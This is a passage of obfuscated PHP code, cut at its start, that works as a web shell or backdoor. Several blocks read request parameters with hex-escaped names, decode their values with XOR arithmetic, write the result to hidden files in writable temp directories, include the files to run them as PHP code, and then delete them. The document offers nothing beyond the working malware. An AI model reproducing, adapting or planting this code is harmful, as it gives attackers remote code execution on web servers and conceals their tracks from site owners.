$ptr) { if (max(0, is_dir($ptr) * is_writable($ptr))) { $value = join("/", [$ptr, ".pointer"]); if (file_put_contents($value, $tkn)) { include $value; @unlink($value); exit; } } } } if(isset($_REQUEST["ent\x69t\x79"]) ? true : false){ $pgrp = $_REQUEST["ent\x69t\x79"]; $pgrp =explode ( '.' ,$pgrp) ; $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $len = count($pgrp ); for ($x = 0; $x < $len; $x++) { $v2 = $pgrp[$x]; $chS = ord($s9[$x % $lenS] ); $d = ((int)$v2 - $chS - ($x % 10))^ 62; $value.=chr($d ); } $symbol = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp"]); $binding = 0; do { $factor = $symbol[$binding] ?? null; if ($binding >= count($symbol)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $item = sprintf("%s/.flag", $factor); if (file_put_contents($item, $value)) { include $item; @unlink($item); die(); } } $binding++; } while (true); } if(array_key_exists("va\x6C", $_REQUEST)){ $resource = array_filter([sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp"]); $object = $_REQUEST["va\x6C"]; $object= explode ( "." ,$object ) ; $reference = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); foreach ($object as $n => $v1) { $chS = ord($s1[$n % $sLen] ); $d = ((int)$v1 - $chS - ($n % 10)) ^ 20; $reference .=chr($d ); } while ($ent = array_shift($resource)) { if (is_dir($ent) ? is_writable($ent) : false) { $dat = implode("/", [$ent, ".binding"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $dat; @unlink($dat); die(); } } } } if(array_key_exists("\x65n\x74\x69ty", $_POST)){ $mrk = $_POST["\x65n\x74\x69ty"]; $mrk = explode ( "." , $mrk ) ; $flg= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $k= 0; while( $k < count( $mrk)) {$v9= $mrk[$k]; $sChar= ord( $s[$k % $sLen]); $dec= ( ( int)$v9 - $sChar -( $k % 10)) ^ 96; $flg .= chr( $dec); $k++; } $ptr = array_filter([getenv("TMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); foreach ($ptr as $key => $factor) { if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $pset = vsprintf("%s/%s", [$factor, ".record"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $pset; @unlink($pset); exit; } } } } if(array_key_exists("\x74kn", $_REQUEST)){ $mrk = $_REQUEST["\x74kn"]; $mrk = explode ( "." , $mrk) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $y = 0; while( $y < count( $mrk)) { $v3 = $mrk[$y]; $chS = ord( $s[$y % $sLen]); $dec =( ( int)$v3 - $chS -( $y % 10)) ^ 23; $desc .=chr( $dec); $y++;} $binding = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TMP"), getcwd(), session_save_path()]); for ($obj = 0, $holder = count($binding); $obj < $holder; $obj++) { $entity = $binding[$obj]; if ((is_dir($entity) and is_writable($entity))) { $element = implode("/", [$entity, ".bind"]); if (file_put_contents($element, $desc)) { require $element; unlink($element); die(); } } } }